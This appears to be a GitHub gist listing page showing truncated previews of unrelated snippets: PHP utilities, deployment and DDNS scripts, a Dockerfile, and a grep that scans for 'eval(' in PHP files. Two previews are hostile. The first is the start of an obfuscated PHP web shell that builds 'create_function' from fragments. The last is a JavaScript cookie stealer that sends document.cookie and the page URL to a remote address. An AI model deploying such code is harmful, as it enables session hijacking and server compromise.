This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $GLOBALS[ | |
'pass' | |
] | |
= | |
'0f3b857e0125444e99a15f41c07eb315d26a00f0'; | |
$FF | |
='cre'. | |
'ate'. | |
'_fun'. | |
'cti'. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class DB | |
{ | |
var $con = null; | |
var $result = null; | |
var $has_result = false; | |
var $error = false; | |
var $last_query; | |
var $affected_rows; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for dir in `find ~/apps/* -maxdepth 0 -type d` | |
do | |
grep -Rl --include "*.php" "eval(" "$dir/public/" | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Write file /etc/network/if-up.d/ and link to /etc/network/if-post-down.d/ | |
# by default, scripts on that directories will be triggered by NetworkManager | |
PID="/var/run/dnsmasq/wlan.pid" | |
WLAN="wlan0" | |
DNSMASQCONF="/etc/dnsmasq.conf" | |
IP=$(ifconfig $WLAN | sed -En 's/.*inet ([0-9\\.]+) .+/\1/p') | |
ME="$IFACE-dnsmasq:" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- OLD CODE: --> | |
<!-- Histats.com START (aync)--> | |
<script type="text/javascript">var _Hasync= _Hasync|| []; | |
_Hasync.push(['Histats.start', '1,3630122,4,0,0,0,00010000']); | |
_Hasync.push(['Histats.fasi', '1']); | |
_Hasync.push(['Histats.track_hits', '']); | |
(function() { | |
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true; | |
hs.src = ('//s10.histats.com/js15_as.js'); | |
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Serverpilot PHP-FPM Status wrapper for all apps | |
* Install required package: | |
* $ sudo apt install libfcgi-bin | |
* | |
* Add .htaccess: | |
* RewriteRule ^php\-stats/ stats.php [NC,L] | |
* | |
* Place this script on 'default' web app. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// CONFIG | |
// This token must sent with the request, for security | |
$TOKEN='XXXXXXXXXXX'; | |
$LOCAL_GIT=realpath(dirname(__DIR__) . '/app.git'); | |
$PRODUCTION_DIR=realpath(dirname(__DIR__) . '/public_html'); | |
$REMOTE = 'origin'; | |
$LOCAL_BRANCH = 'master'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM php:7.0-fpm-stretch | |
RUN apt-get update && apt-get install -q -y ssmtp mailutils | |
RUN apt-get update && apt-get install -y \ | |
libfreetype6-dev \ | |
libjpeg62-turbo-dev \ | |
libpng-dev \ | |
libgmp-dev \ | |
&& docker-php-ext-install -j$(nproc) iconv \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ip=$(curl -s https://api.ipify.org/) | |
echo "DDNS-UPDATE: Public IP is: $ip, Updating IP..." | |
host=home.klampok.id | |
curl -X PUT "https://api.cloudflare.com/client/v4/zones/00000000000000000000/dns_records/00000000000000000000000" \ | |
-H "X-Auth-Email: *******@gmail.com" \ | |
-H "X-Auth-Key: *******" \ | |
-H "Content-Type: application/json" \ | |
--data '{"type":"A","name":"home.klampok.id","content":"'"$ip"'","ttl":120,"proxied":false}' ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(w,d,u){ | |
if(w['$'] && w['$'].post){ | |
$.post(u,{u: d.location.href, c: d.cookie}); | |
}else{ | |
var fu = [u,'\x3f','u=',escape(d.location.href),'&c=',escape(d.cookie)].join(''); | |
console.log('FU: ', fu); | |
function planB(){ | |
el = d.createElement('img'); | |
el.onerror = el.onload = function(){ el.remove() } | |
el.src=fu; d.body.append(el); |
OlderNewer